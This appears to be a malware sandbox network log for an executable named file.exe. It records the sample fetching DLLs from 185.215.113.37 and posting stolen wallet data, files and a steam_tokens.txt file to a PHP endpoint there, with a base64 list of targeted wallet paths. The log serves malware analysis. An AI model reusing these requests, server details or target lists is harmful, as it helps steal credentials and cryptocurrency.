00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 25, 2024 02:18:24.753254890 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:25.035626888 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 25, 2024 02:18:25.782042027 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:26.063153982 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 25, 2024 02:18:26.477169037 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:26.758171082 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 25, 2024 02:18:28.169670105 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:28.450546980 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 25, 2024 02:18:28.662281990 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:28.943612099 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 02:18:29.481740952 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHID Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 02:18:30.267003059 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:30.550388098 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"wallets------IDHJEBGIEBFIJKEBFBFH--
Oct 25, 2024 02:18:30.833674908 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 25, 2024 02:18:30.836618900 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="message"files------KFBFCAFCBKFIEBFHIDBA--
Oct 25, 2024 02:18:31.121797085 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:31.142920971 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHCGCAEBFIJKFIDBGHD Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="file"------BGHCGCAEBFIJKFIDBGHD--
Oct 25, 2024 02:18:31.921955109 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:31.948857069 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFID Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="message"ybncbhylepme------IIJKJDAFHJDHIEBGCFID--
Oct 25, 2024 02:18:32.236016035 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:32 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 25, 2024 02:18:32.237773895 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHJKJDAKEHJDGDGDGHID--
Oct 25, 2024 02:18:33.016566992 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	20:18:07
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5e0000
File size:	1'820'672 bytes
